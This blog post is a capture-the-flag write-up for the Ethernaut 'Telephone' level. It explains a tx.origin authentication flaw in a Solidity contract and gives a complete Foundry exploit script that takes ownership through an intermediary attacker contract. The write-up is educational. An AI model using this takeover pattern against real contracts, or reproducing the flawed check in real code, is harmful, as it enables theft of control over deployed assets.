Telephone - The Ethernaut

298 words

1 minute

Telephone - The Ethernaut

2025-09-17

CTF

blockchain

/

ethernaut

Cover image source: Source

Challenge Overview#

In this level, the goal is to claim ownership of the Telephone contract. The contract appears to have a safeguard that prevents direct ownership changes, but it uses a flawed authentication check that can be bypassed by calling through an intermediary contract.

Challenge Code#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract Telephone {
5
    address public owner;
6

7
    constructor() {
8
        owner = msg.sender;
9
    }
10

11
    function changeOwner(address _owner) public {
12
        if (tx.origin != msg.sender) {
13
            owner = _owner;
14
        }
15
    }
16
}

Exploit Explanation#

The vulnerability lies in the difference between tx.origin and msg.sender:

1
if (tx.origin != msg.sender) {
2
    owner = _owner;
3
}

tx.origin refers to the original externally owned account (EOA) that initiated the transaction
msg.sender refers to the immediate caller of the function

When you call the contract directly from your wallet, both tx.origin and msg.sender are your address, so the condition fails.

However, if you call through an intermediary contract:

tx.origin remains your EOA address (the transaction originator)
msg.sender becomes the address of your intermediary contract

This creates the required inequality (tx.origin != msg.sender) that allows the ownership change.

The exploit involves:

Deploying an attacker contract
Calling the attacker contract’s exploit function
The attacker contract calls changeOwner() on the Telephone contract, creating the necessary tx.origin != msg.sender condition

Exploit Script#

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.13;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Telephone.sol";
7

8
contract Attack {
9
    Telephone public telephoneInstance;
10
    address evilOwner;
11

12
    constructor(Telephone _telephoneInstance, address _evilOwner) {
13
        telephoneInstance = _telephoneInstance;
14
        evilOwner = _evilOwner;
15
    }
16

17
    function exploit() public {
18
        telephoneInstance.changeOwner(evilOwner);
19
    }
20
}
21

22
contract TelephoneSolution is Script {
23
    Telephone public telephoneInstance = Telephone(<YOUR_INSTANCE>);
24

25
    function run() public {
26
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
27

28
        // Deploy attacker contract
29
        Attack attacker = new Attack(
30
            telephoneInstance,
31
            vm.envAddress("MY_ADDRESS")
32
        );
33

34
        // Execute the exploit
35
        attacker.exploit();
36

37
        // Verify the results
38
        console.log("The owner of the contract is:", telephoneInstance.owner());
39
        console.log("My address is:", vm.envAddress("MY_ADDRESS"));
40

41
        vm.stopBroadcast();
42
    }
43
}

Proof of Concept (PoC)#

Execute the exploit with Foundry:

1
forge script script/TelephoneSolution.s.sol --rpc-url $SEPOLIA_URL --tc TelephoneSolution --broadcast

Telephone - The Ethernaut

https://xiaowenjictf.github.io/posts/ethernaut/telephone/

Author

xiaowenji

Published at

2025-09-17

License

CC BY-NC-SA 4.0

Coin Flip - The Ethernaut

Token - The Ethernaut

Proof of Concept (PoC)